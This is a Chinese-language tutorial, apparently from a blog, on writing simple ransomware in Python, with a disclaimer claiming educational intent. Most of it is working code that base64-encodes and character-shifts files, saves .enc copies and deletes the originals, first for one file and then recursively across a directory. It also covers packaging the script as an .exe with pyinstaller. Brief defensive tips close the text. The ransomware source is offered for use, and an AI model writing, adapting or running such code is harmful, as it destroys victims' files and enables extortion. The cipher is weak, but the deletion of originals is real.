| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
简介
勒索病毒能将电脑上的一些重要文件进行数据加密,将文件以二进制的形式进行加密处理,导致无法成功打开加密后的文件,要打开必须要解密,要解密必须要解密程序,从而让我们能够进行勒索。
勒索病毒的原理不难,简单来说就是对数据的加密,而解密的办法一般只有我们自己知道,接下去就让我们来编写一些简单的勒索病毒吧!
前言
勒索病毒更多情况下是.exe的可执行文件,一般情况下都是由编译型语言编写后编译形成。由于python属于解释性语言,无法直接生成可执行文件,所以我们可以安装使用 pyinstaller 模块,将 py 文件打包为 exe 文件执行。下面附上 pyinstaller 基础用法。
# 安装包
pip3 install pyinstaller
# 进入 .py 文件所在目录,cmd执行如下命令,即可完成打包,更多内容请自行搜索
pyinstaller [...].py
开始编写
这里我们的勒索病毒是基于base64实现的,当然还可以使用别的方法,原理都是一样的。
下面就是攻击脚本全貌,照着注释食用。
对单个文件进行加密
# 下面这个是对一张图片进行的加密
import base64, os
# 加密
def encrypt(filepath):
# 打开我们想要加密的文件
with open(file=filepath, mode='rb') as f1:
data = base64.b64encode(f1.read()).decode()
# base64加密后再对所有字符进行ASCII移位,这里选择移动5位
content = ''
for single_char in data:
content += chr(ord(single_char) + 5)
# 保存文本并且更改文件后缀
with open(file=filepath + '.enc', mode='w') as f2:
f2.write(content)
# 删除原文件
os.remove(filepath)
# 解密 不做注释了,反正就是加密逆过来就行
def decrypt(filepath):
with open(file=filepath, mode='r') as f1:
data = f1.read()
content = ''
for single_char in data:
content += chr(ord(single_char) - 5)
new_filepath = filepath.replace('.enc', '')
with open(file=new_filepath, mode='wb') as f2:
f2.write(base64.b64decode(content.encode()))
os.remove(filepath)
if __name__ == '__main__':
encrypt('file.jpeg')
# decrypt('file.jpeg.enc')
对一个目录中的所有文件进行加密
对目录来说,我们先要浅学一下 os.walk() 目录遍历函数(很简单,可上网搜)
import base64, os
# 加密
def encrypt(dir_path):
filepaths = get_files_from_dir(dir_path)
if not filepaths == '':
# 打开我们想要加密的文件
for filepath in filepaths:
with open(file=filepath, mode='rb') as f1:
data = base64.b64encode(f1.read()).decode()
# base64加密后再对所有字符进行ASCII移位,这里选择移动5位
content = ''
for single_char in data:
content += chr(ord(single_char) + 5)
with open(file=filepath + '.enc', mode='w') as f2:
f2.write(content)
# 删除原文件
os.remove(filepath)
else:
print('目录不存在')
# 解密 不做注释了,反正就是加密逆过来就行
def decrypt(dir_path):
filepaths = get_files_from_dir(dir_path)
if not filepaths == '':
for filepath in filepaths:
with open(file=filepath, mode='r') as f1:
data = f1.read()
content = ''
for single_char in data:
content += chr(ord(single_char) - 5)
new_filepath = filepath.replace('.enc', '')
with open(file=new_filepath, mode='wb') as f2:
f2.write(base64.b64decode(content.encode()))
os.remove(filepath)
else:
print('目录不存在')
# 目录遍历,返回遍历到的所有文件名
def get_files_from_dir(dir_path):
if not os.path.exists(dir_path):
return ''
file_paths = []
for root, directories, files in os.walk(dir_path):
for filename in files:
filepath = os.path.join(root, filename)
file_paths.append(filepath)
return file_paths
if __name__ == '__main__':
encrypt('123') # 同目录下的一个 123 目录
# decrypt('123')
简单试试
对单个文件
加密:
原来的图片:
加密后变成了文本:
解密后,重新回到了照片的形式
对文件夹
加密之前:
加密之后:
攻击猜想
一般情况下,攻击者不会对整个文件进行加密,往往就是文件的一块,以达到快速污染磁盘文件的目的。一般情况下这串病毒代码可能会附着在一些小软件中(.exe),所以非官方途径的下载必须要小心,运行之后可能就会对磁盘文件产生污染,而且有的针对性的勒索病毒还不容易被查杀,就如上面的代码,可能在电脑看来都是非常正常的程序,但是却会产生很大的破坏力。
防范
- 少下非官方途径的文件
- 如果真的被感染,要迅速断电,防止更多文件被污染(一般情况下)